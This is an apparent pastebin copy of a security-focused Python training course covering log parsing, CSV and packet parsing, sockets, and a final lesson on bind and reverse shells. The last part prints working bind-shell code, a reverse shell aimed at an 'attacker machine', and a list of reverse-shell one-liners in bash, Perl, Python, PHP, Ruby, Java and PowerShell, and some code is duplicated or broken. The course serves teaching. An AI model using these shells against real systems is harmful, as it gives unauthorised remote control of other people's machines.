· 6 years ago · Jul 16, 2019, 10:20 PM
1 ##############################
2----------- ############### # Day 1: Python Fundamentals # ############### -----------
3 ##############################
4
5
6####################
7# Installing Python#
8####################
9Windows
10
11https://www.python.org/downloads/
12
1332-Bit Version
14https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe
15
1664-Bit Version
17https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64-webinstall.exe
18
19
20After you install Python in Windows the next thing you may want to install is IdleX:
21http://idlex.sourceforge.net/features.html
22
23---------------------------Type This-----------------------------------
24
25Linux
26Debian/Ubuntu: sudo apt-get install -y python
27RHEL/CentOS/Fedora: sudo yum install -y python
28
29-----------------------------------------------------------------------
30
31
32After you install Python in Linux the next thing that you will need to do is install idle.
33
34---------------------------Type This-----------------------------------
35
36sudo apt-get install -y idle
37
38-----------------------------------------------------------------------
39
40Open IDLE, and let's just dive right in.
41
42
43
44
45#####################################
46#Python Lesson 1: Simple Printing #
47#####################################
48
49---------------------------Type This-----------------------------------
50$ python
51
52>>> print ("Today we are learning Python.")
53
54-----------------------------------------------------------------------
55
56
57
58
59#############################################
60#Python Lesson 2: Simple Numbers and Math #
61#############################################
62
63---------------------------Type This-----------------------------------
64
65>>> 2+2
66
67>>> 6-3
68
69>>> 18/7
70
71>>> 18.0/7
72
73>>> 18.0/7.0
74
75>>> 18/7
76
77>>> 9%4
781
79>>> 8%4
800
81>>> 8.75%.5
82
83>>> 6.*7
84
85>>> 6*6*6
86
87>>> 6**3
88
89>>> 5**12
90
91>>> -5**4
92
93
94
95-----------------------------------------------------------------------
96
97
98
99###############################
100#Python Lesson 3: Variables #
101###############################
102
103---------------------------Type This-----------------------------------
104
105>>> x=18
106
107>>> x+15
108
109>>> x**3
110
111>>> y=54
112
113>>> g=int(input("Enter number here: "))
114Enter number here: 43
115>>> g
116
117>>> g+32
118
119>>> g**3
120
121>>>
122
123-----------------------------------------------------------------------
124
125
126
127
128
129###########################################
130#Python Lesson 4: Modules and Functions #
131###########################################
132
133---------------------------Type This-----------------------------------
134
135>>> 5**4
136
137>>> pow(5,4)
138
139>>> abs(-18)
140
141>>> abs(5)
142
143>>> floor(18.7)
144
145>>> import math
146
147>>> math.floor(18.7)
148
149>>> math.sqrt(81)
150
151>>> joe = math.sqrt
152
153>>> joe(9)
154
155>>> joe=math.floor
156
157>>> joe(19.8)
158
159
160
161-----------------------------------------------------------------------
162
163
164
165#############################
166#Python Lesson 5: Strings #
167#############################
168
169---------------------------Type This-----------------------------------
170
171
172>>> "XSS"
173
174>>> 'SQLi'
175
176>>> "Joe's a python lover"
177
178>>> "Joe said \"InfoSec is fun\" to me"
179
180>>> a = "Joe"
181
182>>> b = "McCray"
183
184>>> a, b
185
186>>> a+b
187
188
189-----------------------------------------------------------------------
190
191
192
193
194
195##################################
196#Python Lesson 6: More Strings #
197##################################
198
199---------------------------Type This-----------------------------------
200
201
202>>> num = 10
203
204>>> num + 2
205
206>>> "The number of open ports found on this system is ", num
207
208>>> num = str(18)
209
210>>> "There are ", num, " vulnerabilities found in this environment."
211
212>>> num2 = 46
213
214>>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
215
216
217-----------------------------------------------------------------------
218
219
220
221
222
223#########################################
224#Python Lesson 7: Sequences and Lists #
225#########################################
226
227---------------------------Type This-----------------------------------
228
229>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
230
231>>> attacks
232['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
233
234>>> attacks[3]
235'SQL Injection'
236
237>>> attacks[-2]
238'Cross-Site Scripting'
239
240>>> exit()
241
242
243###################################
244# Level 8: Intro to Log Analysis #
245###################################
246
247
248Log into your Linux host then execute the following commands:
249-----------------------------------------------------------------------
250NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
251
252
253
254---------------------------Type This-----------------------------------
255
256wget http://pastebin.com/raw/85zZ5TZX
257
258mv 85zZ5TZX access_log
259
260
261cat access_log | grep 141.101.80.188
262
263cat access_log | grep 141.101.80.187
264
265cat access_log | grep 108.162.216.204
266
267cat access_log | grep 173.245.53.160
268
269----------------------------------------------------------------------
270
271
272
273
274Google the following terms:
275 - Python read file
276 - Python read line
277 - Python read from file
278
279
280
281
282################################################################
283#Python Lesson 9: Use Python to read in a file line by line #
284################################################################
285
286
287Reference:
288http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
289
290
291
292---------------------------Type This-----------------------------------
293
294nano logread1.py
295
296
297---------------------------Paste This-----------------------------------
298## Open the file with read only permit
299f = open('access_log', "r")
300
301## use readlines to read all lines in the file
302## The variable "lines" is a list containing all lines
303lines = f.readlines()
304
305print (lines)
306
307
308## close the file after reading the lines.
309f.close()
310
311----------------------------------------------------------------------
312
313
314
315
316---------------------------Type This-----------------------------------
317python logread1.py
318----------------------------------------------------------------------
319
320
321
322Google the following:
323 - python difference between readlines and readline
324 - python readlines and readline
325
326
327Here is one student's solution - can you please explain each line of this code to me?
328
329
330---------------------------Type This-----------------------------------
331exit()
332nano ip_search.py
333
334---------------------------Type This-----------------------------------
335exit()
336nano ip_search.py
337
338---------------------------Paste This-----------------------------------
339#!/usr/bin/python
340
341f = open('access_log')
342
343strUsrinput = input("Enter IP Address: ")
344
345for line in iter(f):
346 ip = line.split(" - ")[0]
347 if ip == strUsrinput:
348 print (line)
349
350f.close()
351
352
353----------------------------------------------------------------------
354
355
356
357
358---------------------------Type This-----------------------------------
359python ip_search.py
360----------------------------------------------------------------------
361
362
363
364Working with another student after class we came up with another solution:
365
366---------------------------Type This-----------------------------------
367nano ip_search2.py
368
369---------------------------Paste This-----------------------------------
370#!/usr/bin/env python
371
372
373# This line opens the log file
374f=open('access_log',"r")
375
376# This line takes each line in the log file and stores it as an element in the list
377lines = f.readlines()
378
379
380# This lines stores the IP that the user types as a var called userinput
381userinput = input("Enter the IP you want to search for: ")
382
383
384
385# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
386for ip in lines:
387 if ip.find(userinput) != -1:
388 print (ip)
389
390----------------------------------------------------------------------
391
392
393
394---------------------------Type This-----------------------------------
395python ip_search2.py
396----------------------------------------------------------------------
397
398
399
400##################################################
401# Lession 14: Look for web attacks in a log file #
402##################################################
403
404In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
405Supported attacks:
4061. SQL Injection
4072. Local File Inclusion
4083. Remote File Inclusion
4094. Cross-Site Scripting
410
411
412---------------------------Type This-----------------------------------
413the syntax of this code was changed to python 3
414python scan_log.py --help
415
416wget http://45.63.104.73/scan_log.py
417
418----------------------------------------------------------------------
419
420The usage for scan_log.py is simple. You feed it an apache log file.
421
422---------------------------Type This-----------------------------------
423
424cat scan_log.py | less (use your up/down arrow keys to look through the file)
425
426----------------------------------------------------------------------
427
428Explain to me how this script works.
429python scan_log.py --help
430
431
432
433
434################################
435# Lesson 15: Parsing CSV Files #
436################################
437
438Dealing with csv files
439
440Reference:
441http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
442
443Type the following commands:
444---------------------------------------------------------------------------------------------------------
445
446---------------------------Type This-----------------------------------
447
448wget http://45.63.104.73/class_nessus.csv
449
450----------------------------------------------------------------------
451
452Example 1 - Reading CSV files
453-----------------------------
454#To be able to read csv formated files, we will first have to import the
455#csv module.
456
457
458---------------------------Type This-----------------------------------
459$ python
460f = open('class_nessus.csv', 'rb')
461for row in f:
462 print (row)
463
464
465----------------------------------------------------------------------
466
467
468
469Example 2 - Reading CSV files
470-----------------------------
471
472---------------------------Type This-----------------------------------
473
474vi readcsv.py
475
476---------------------------Paste This-----------------------------------
477#!/usr/bin/python
478f = open('class_nessus.csv', 'rb') # opens the csv file
479try:
480 for row in f: # iterates the rows of the file in orders
481 print (row) # prints each row
482finally:
483 f.close() # closing
484
485
486
487----------------------------------------------------------------------
488
489
490
491Ok, now let's run this thing.
492
493--------------------------Type This-----------------------------------
494python readcsv.py
495
496python readcsv.py class_nessus.csv
497----------------------------------------------------------------------
498
499
500
501
502Example 3 - - Reading CSV files
503-------------------------------
504
505---------------------------Type This-----------------------------------
506
507vi readcsv2.py
508
509---------------------------Paste This-----------------------------------
510#!/usr/bin/python
511# This program will then read it and displays its contents.
512
513ifile = open('class_nessus.csv', "rb")
514
515
516rownum = 0
517for row in ifile:
518 # Save header row.
519 if rownum == 0:
520 header = row
521 else:
522 colnum = 0
523 for col in row:
524 print ('%-8s: %s' % (header[colnum], col))
525 colnum += 1
526 rownum += 1
527
528ifile.close()
529
530
531
532----------------------------------------------------------------------
533
534
535
536---------------------------Type This-----------------------------------
537
538python readcsv2.py | less
539
540
541----------------------------------------------------------------------
542
543
544
545
546
547
548
549
550
551---------------------------Type This-----------------------------------
552
553vi readcsv3.py
554
555---------------------------Paste This-----------------------------------
556#!/usr/bin/python
557import csv
558f = open('class_nessus.csv', 'r')
559try:
560 rownum = 0
561 reader = csv.reader(f)
562 for row in reader:
563 #Save header row.
564 if rownum == 0:
565 header = row
566 else:
567 colnum = 0
568 if row[3].lower() == 'high':
569 print(('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])))
570 rownum += 1
571finally:
572 f.close()
573
574-----------------------------------------------------------------------
575
576
577---------------------------Type This-----------------------------------
578
579python readcsv3.py | less
580-----------------------------------------------------------------------
581
582
583
584---------------------------Type This-----------------------------------
585
586vi readcsv4.py
587-----------------------------------------------------------------------
588
589---------------------------Paste This-----------------------------------
590
591#!/usr/bin/python
592import csv
593f = open('class_nessus.csv', 'r')
594try:
595 print('/---------------------------------------------------/')
596 rownum = 0
597 hosts = {}
598 reader = csv.reader(f)
599 for row in reader:
600 # Save header row.
601 if rownum == 0:
602 header = row
603 else:
604 colnum = 0
605 if row[3].lower() == 'high' and row[4] not in hosts:
606 hosts[row[4]] = row[4]
607 print('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
608 rownum += 1
609finally:
610 f.close()
611
612
613python readcsv4.py | less
614
615----------------------------------------------------------------------
616
617
618
619
620
621#################################################
622# Lesson 16: Parsing Packets with Python's DPKT #
623#################################################
624The first thing that you will need to do is install dpkt.
625
626---------------------------Type This-----------------------------------
627
628
629 pip install dpkt
630
631----------------------------------------------------------------------
632
633
634
635Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
636Run tcpdump to capture a .pcap file that we will use for the next exercise
637
638---------------------------Type This-----------------------------------
639
640sudo tcpdump -ni wlp8s0 -s0 -w quick.pcap
641
642----------------------------------------------------------------------
643
644
645--open another command prompt--
646
647---------------------------Type This-----------------------------------
648
649
650wget http://packetlife.net/media/library/12/tcpdump.pdf
651
652----------------------------------------------------------------------
653
654Let's do something simple:
655
656---------------------------Type This-----------------------------------
657
658
659vi quickpcap.py
660
661---------------------------Paste This-----------------------------------
662
663#!/usr/bin/python
664import dpkt
665
666# Simple script to read the timestamps in a pcap file
667# Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
668
669f = open("quick.pcap","rb")
670pcap = dpkt.pcap.Reader(f)
671
672for ts, buf in pcap:
673 print (ts)
674
675f.close()
676
677
678
679----------------------------------------------------------------------
680
681
682Now let's run the script we just wrote
683
684---------------------------Type This-----------------------------------
685
686python quickpcap.py
687
688----------------------------------------------------------------------
689
690
691
692How dpkt breaks down a packet:
693
694Reference:
695http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
696
697 src: the MAC address of SOURCE.
698 dst: The MAC address of DESTINATION
699 type: The protocol type of contained ethernet payload.
700
701The allowed values are listed in the file "ethernet.py",
702such as:
703a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
704b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
705
706
707References:
708http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
709
710
711
712
713
714
715
716Ok - now let's have a look at pcapparsing.py
717
718---------------------------Type This-----------------------------------
719
720
721sudo tcpdump -ni wlp8s0 -s0 -w capture-100.pcap
722
723----------------------------------------------------------------------
724
725--open another command prompt--
726
727---------------------------Type This-----------------------------------
728
729
730wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
731
732----------------------------------------------------------------------
733
734
735Ok - now let's have a look at pcapparsing.py
736
737
738--------------------------------------------------------------
739
740****************************************
741import socket
742import dpkt
743import sys
744f = open('capture-100.pcap','rb')
745pcapReader = dpkt.pcap.Reader(f)
746
747for ts,data in pcapReader:
748 ether = dpkt.ethernet.Ethernet(data)
749 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
750 ip = ether.data
751 tcp = ip.data
752 src = socket.inet_ntoa(ip.src)
753 srcport = tcp.sport
754 dst = socket.inet_ntoa(ip.dst)
755 dstport = tcp.dport
756 print(("src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)))
757
758f.close()
759
760----------------------------------------------------------------------
761
762
763
764OK - let's run it:
765
766---------------------------Type This-----------------------------------
767
768python pcapparsing.py
769
770----------------------------------------------------------------------
771
772----------------------------------------------------------------------
773
774
775running this script might throw an error like this:
776
777Traceback (most recent call last):
778 File "pcapparsing.py", line 9, in <module>
779 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
780
781
782If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
783
784
785
786
787Your homework for today...
788
789
790Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
791
792***********************************************************
793
794
795
796
797Your challenge is to fix the Traceback error
798
799
800
801
802----------------------------------------------------------------------
803
804
805running this script might throw an error like this:
806
807Traceback (most recent call last):
808 File "pcapparsing.py", line 9, in <module>
809 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
810
811
812If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
813
814
815
816
817Your homework for today...
818
819
820Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
821
822***********************************************************
823
824
825
826
827Your challenge is to fix the Traceback error
828
829---------------------------Paste This-----------------------------------
830
831import pcapy
832import dpkt
833import sys
834import socket
835import struct
836
837SINGLE_SHOT = False
838
839# list all the network devices
840pcapy.findalldevs()
841
842iface = "wlp8s0"
843filter = "arp"
844max_bytes = 1024
845promiscuous = False
846read_timeout = 100 # in milliseconds
847
848pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
849pc.setfilter( filter )
850
851# callback for received packets
852def recv_pkts(hdr, data):
853 packet = dpkt.ethernet.Ethernet( data )
854
855 print (type( packet.data ))
856 print ("ipsrc: %s, ipdst: %s" %( \
857 socket.inet_ntoa( packet.data.spa ), \
858 socket.inet_ntoa( packet.data.tpa ) ))
859
860 print ("macsrc: %s, macdst: %s " % (
861 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
862 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) ))
863
864if SINGLE_SHOT:
865 header, data = pc.next()
866 sys.exit(0)
867else:
868 packet_limit = -1 # infinite
869 pc.loop( packet_limit, recv_pkts ) # capture packets
870
871
872----------------------------------------------------------------------
873
874
875
876
877##################################
878# Day 1 Homework videos to watch #
879##################################
880Here is your first set of youtube videos that I'd like for you to watch:
881https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
882
883How to install idle in Mac OS X:
884https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
885
886
887
888
889########################
890# Day 1 Challenge task #
891########################
892Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
893
894Running the current version of the script may give you an error like this:
895
896Traceback (most recent call last):
897 File "pcapparsing.py", line 9, in <module>
898 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
899
900
901If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
902
903Your challenge task is to fix the Traceback error
904
905
906
907
908
909
910 #################################
911----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
912 #################################
913
914
915
916
917
918#############################################
919# Lesson 17: Python Sockets & Port Scanning #
920#############################################
921
922---------------------------Type This-----------------------------------
923
924$ sudo /sbin/iptables -F
925
926$ ncat -l -v -p 1234
927
928----------------------------------------------------------------------
929
930
931
932--open another terminal--
933
934---------------------------Type This-----------------------------------
935
936python
937
938import socket
939s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
940s.connect(('localhost', 1234))
941s.send('Hello World'.encode())
942data = s.recv(1024)
943s.close()
944
945print ('Received', data)
946
947
948
949----------------------------------------------------------------------
950
951
952
953
954########################################
955# Lesson 18: TCP Client and TCP Server #
956########################################
957
958
959---------------------------Type This-----------------------------------
960
961
962vi tcpclient.py
963
964---------------------------Paste This-----------------------------------
965
966
967#!/usr/bin/python
968# tcpclient.py
969
970#!/usr/bin/python
971# tcpclient.py
972
973import socket
974
975s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
976hostport = ("127.0.0.1", 1337)
977s.connect(hostport)
978s.send('Hello World'.encode())
979buf = s.recv(1024)
980print ("Received", buf)
981
982
983
984
985----------------------------------------------------------------------
986
987
988---------------------------Type This-----------------------------------
989
990
991
992
993
994
995vi tcpserver.py
996
997
998---------------------------Paste This-----------------------------------
999
1000
1001#!/usr/bin/python
1002# tcpserver.py
1003
1004import socket
1005
1006import socket
1007
1008s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1009hostport = ("localhost", 1337)
1010s.bind(hostport)
1011s.listen(10)
1012while 1:
1013 cli,addr = s.accept()
1014 print ("Connection from", addr)
1015 buf = cli.recv(1024)
1016 print ("Received", buf)
1017 if buf == "Hello\n":
1018 cli.send("Server ID 1\n")
1019 cli.close()
1020s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1021hostport = ("", 1337)
1022s.bind(hostport)
1023s.listen(10)
1024while 1:
1025 cli,addr = s.accept()
1026 print "Connection from", addr
1027 buf = cli.recv(1024)
1028 print "Received", buf
1029 if buf == "Hello\n":
1030 cli.send("Server ID 1\n")
1031 cli.close()
1032
1033
1034
1035
1036----------------------------------------------------------------------
1037
1038
1039---------------------------Type This-----------------------------------
1040
1041
1042python tcpserver.py
1043
1044
1045--open another terminal--
1046python tcpclient.py
1047
1048
1049########################################
1050# Lesson 19: UDP Client and UDP Server #
1051########################################
1052
1053---------------------------Type This-----------------------------------
1054
1055vi udpclient.py
1056
1057
1058
1059---------------------------Paste This-----------------------------------
1060
1061import socket
1062
1063msgFromClient = "Hello UDP Server"
1064bytesToSend = str.encode(msgFromClient)
1065serverAddressPort = ("127.0.0.1", 20001)
1066bufferSize = 1024
1067
1068# Create a UDP socket at client side
1069UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
1070# Send to server using created UDP socket
1071UDPClientSocket.sendto(bytesToSend, serverAddressPort)
1072msgFromServer = UDPClientSocket.recvfrom(bufferSize)
1073msg = "Message from Server {}".format(msgFromServer[0])
1074print(msg)
1075
1076----------------------------------------------------------------------
1077
1078
1079
1080
1081---------------------------Type This-----------------------------------
1082
1083
1084vi udpserver.py
1085
1086
1087---------------------------Paste This-----------------------------------
1088
1089import socket
1090
1091localIP = "127.0.0.1"
1092localPort = 20001
1093bufferSize = 1024
1094msgFromServer = "Hello UDP Client"
1095bytesToSend = str.encode(msgFromServer)
1096# Create a datagram socket
1097UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
1098# Bind to address and ip
1099UDPServerSocket.bind((localIP, localPort))
1100print("UDP server up and listening")
1101# Listen for incoming datagrams
1102while(True):
1103 bytesAddressPair = UDPServerSocket.recvfrom(bufferSize)
1104 message = bytesAddressPair[0]
1105 address = bytesAddressPair[1]
1106 clientMsg = "Message from Client:{}".format(message)
1107 clientIP = "Client IP Address:{}".format(address)
1108 print(clientMsg)
1109 print(clientIP)
1110
1111 # Sending a reply to client
1112 UDPServerSocket.sendto(bytesToSend, address)
1113
1114----------------------------------------------------------------------
1115
1116
1117---------------------------Type This-----------------------------------
1118
1119
1120python udpserver.py
1121
1122
1123--open another terminal--
1124python udpclient.py
1125
1126
1127
1128----------------------------------------------------------------------
1129
1130
1131######################################
1132# Lesson 20: Bind and Reverse Shells #
1133######################################
1134
1135---------------------------Type This-----------------------------------
1136
1137
1138vi simplebindshell.py
1139
1140---------------------------Paste This-----------------------------------
1141
1142#!/bin/python
1143import os,sys,socket
1144
1145#!/bin/python
1146import os,sys,socket
1147
1148ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
1149print ('-Creating socket..')
1150port = 31337
1151try:
1152 ls.bind(('', port))
1153 print ('-Binding the port on ')
1154 ls.listen(1)
1155 print ('-Listening, ')
1156 (conn, addr) = ls.accept()
1157 print ('-Waiting for connection...')
1158 cli= conn.fileno()
1159 print ('-Redirecting shell...')
1160 os.dup2(cli, 0)
1161 print ('In, ')
1162 os.dup2(cli, 1)
1163 print ('Out, ')
1164 os.dup2(cli, 2)
1165 print ('Err')
1166 print ('Done!')
1167 arg0=('/bin/sh')
1168 arg1=('-a')
1169 args=[arg0]+[arg1]
1170 os.execv(arg0, args)
1171except(socket.error):
1172 print ('fail\n')
1173 conn.close()
1174 sys.exit(1)
1175
1176
1177----------------------------------------------------------------------
1178
1179
1180
1181---------------------------Type This-----------------------------------
1182
1183nc TARGETIP 31337
1184
1185----------------------------------------------------------------------
1186
1187
1188---------------------
1189Preparing the target for a reverse shell
1190
1191---------------------------Type This-----------------------------------
1192
1193$ ncat -lvp 4444
1194
1195--open another terminal--
1196wget https://www.trustedsec.com/files/simple_py_shell.py
1197
1198vi simple_py_shell.py
1199
1200
1201#!/usr/bin/python
1202# imports here
1203# Copyright 2012 TrustedSec, LLC. All rights reserved.
1204#
1205# This piece of software code is licensed under the FreeBSD license..
1206#
1207# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
1208import socket,subprocess
1209HOST = '192.168.1.54' # The remote host
1210PORT = 4444 # The same port as used by the server
1211s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1212# connect to attacker machine
1213s.connect((HOST, PORT))
1214# send we are connected
1215s.send('[*] Connection Established!')
1216# start loop
1217while 1:
1218 # recieve shell command
1219 data = s.recv(1024)
1220 # if its quit, then break out and close socket
1221 if data == "quit": break
1222 # do shell command
1223 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1224 # read output
1225 stdout_value = proc.stdout.read() + proc.stderr.read()
1226 # send output to attacker
1227 s.send(stdout_value)
1228# close socket
1229s.close()
1230
1231
1232
1233
1234-------------------------------
1235Tricky shells
1236
1237Reference:
1238http://securityweekly.com/2011/10/python-one-line-shell-code.html
1239http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
1240
1241
1242
1243What is os.dup2?
1244https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
1245
1246
1247
1248
1249
1250Lots of reverse shells in different languages
1251---------------------------------------------------------------------
1252
1253
1254
1255Lots of reverse shells in different languages
1256---------------------------------------------------------------------
1257
1258
1259
1260########
1261# Bash #
1262########
1263
1264---------------------------Type This-----------------------------------
1265
1266
1267bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
1268
1269----------------------------------------------------------------------
1270
1271
1272########
1273# Perl #
1274########
1275
1276---------------------------Type This-----------------------------------
1277
1278
1279perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1280
1281
1282
1283cat perlbackdoor.pl
1284#!/usr/bin/perl
1285use Socket;
1286use FileHandle;
1287$IP = $ARGV[0];
1288$PORT = $ARGV[1];
1289socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
1290connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
1291SOCKET->autoflush();
1292open(STDIN, ">&SOCKET");
1293open(STDOUT,">&SOCKET");
1294open(STDERR,">&SOCKET");
1295system("/bin/sh -i");
1296
1297----------------------------------------------------------------------
1298
1299##########
1300# Python #
1301##########
1302
1303---------------------------Type This-----------------------------------
1304
1305python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1306
1307----------------------------------------------------------------------
1308
1309#######
1310# Php #
1311#######
1312---------------------------Type This-----------------------------------
1313
1314php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
1315
1316----------------------------------------------------------------------
1317
1318########
1319# ruby #
1320########
1321---------------------------Type This-----------------------------------
1322
1323ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
1324
1325----------------------------------------------------------------------
1326
1327
1328########
1329# Java #
1330########
1331---------------------------Type This-----------------------------------
1332
1333r = Runtime.getRuntime()
1334p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
1335p.waitFor()
1336
1337
1338exec 5<>/dev/tcp/127.0.0.1/1234
1339
1340
1341cat <&5 | while read line; do $line 2>&5 >&5; done
1342
1343exec 5<>/dev/tcp/127.0.0.1/1234
1344
1345while read line 0<&5; do $line 2>&5 >&5; done
13460<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
1347
1348----------------------------------------------------------------------
1349
1350##############
1351# Powershell #
1352##############
1353---------------------------Type This-----------------------------------
1354
1355powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit; };$address = '127.0.0.1'; $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize ;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' ;$process.StartInfo.RedirectStandardInput = 1 ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0 ;$process.Start() ;$inputstream = $process.StandardInput ;$outputstream = $process.StandardOutput ;Start-Sleep 1 ;$encoding = new-object System.Text.AsciiEncoding ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length) ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup} ;$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos); $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos); $inputstream.write($string); start-sleep 1; if ($process.ExitCode -ne $null) {ReverseShellClean};else { $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){; $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}; $stream.Write($encoding.GetBytes($out),0,$out.length); $out = $null; $string = $null}} else {ReverseShellClean}};"
1356
1357
1358
1359----------------------------------------------------------------------
1360
1361
1362
1363
1364
1365###############################
1366# Reverse Shell in Python 3.6 #
1367###############################
1368
1369We'll create 2 python files. One for the server and one for the client.
1370
1371- Below is the python code that is running on victim/client Windows machine:
1372
1373---------------------------Paste This-----------------------------------
1374
1375# Client
1376
1377import socket # For Building TCP Connection
1378import subprocess # To start the shell in the system
1379
1380def connect():
1381 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1382 s.connect(('192.168.1.52',8083))
1383
1384 while True: #keep receiving commands
1385 command = s.recv(1024)
1386
1387 if 'terminate'.encode() in command:
1388 s.close() #close the socket
1389 break
1390
1391 else:
1392
1393 CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1394 s.send( CMD.stdout.read() ) # send the result
1395 s.send( CMD.stderr.read() ) # incase you mistyped a command.
1396 # we will send back the error
1397
1398def main ():
1399 connect()
1400main()
1401
1402
1403
1404
1405----------------------------------------------------------------------
1406
1407- Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
1408
1409---------------------------Paste This-----------------------------------
1410
1411# Server
1412
1413import socket # For Building TCP Connection
1414
1415
1416def connect ():
1417
1418 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1419 s.bind(("192.168.1.52", 8083))
1420 s.listen(1)
1421 conn, addr = s.accept()
1422 print ('[+] We got a connection from: '.encode(), addr)
1423
1424
1425 while True:
1426 command = input("Shell> ".encode())
1427
1428 if 'terminate' in command:
1429 conn.send('termminate')
1430 conn.close() # close the connection with host
1431 break
1432
1433 else:
1434 conn.send(command) #send command
1435 print (conn.recv(1024))
1436
1437def main ():
1438 connect()
1439main()
1440
1441----------------------------------------------------------------------
1442
1443- First run server.py code from Ubuntu machine. From command line type:
1444
1445---------------------------Type This-----------------------------------
1446
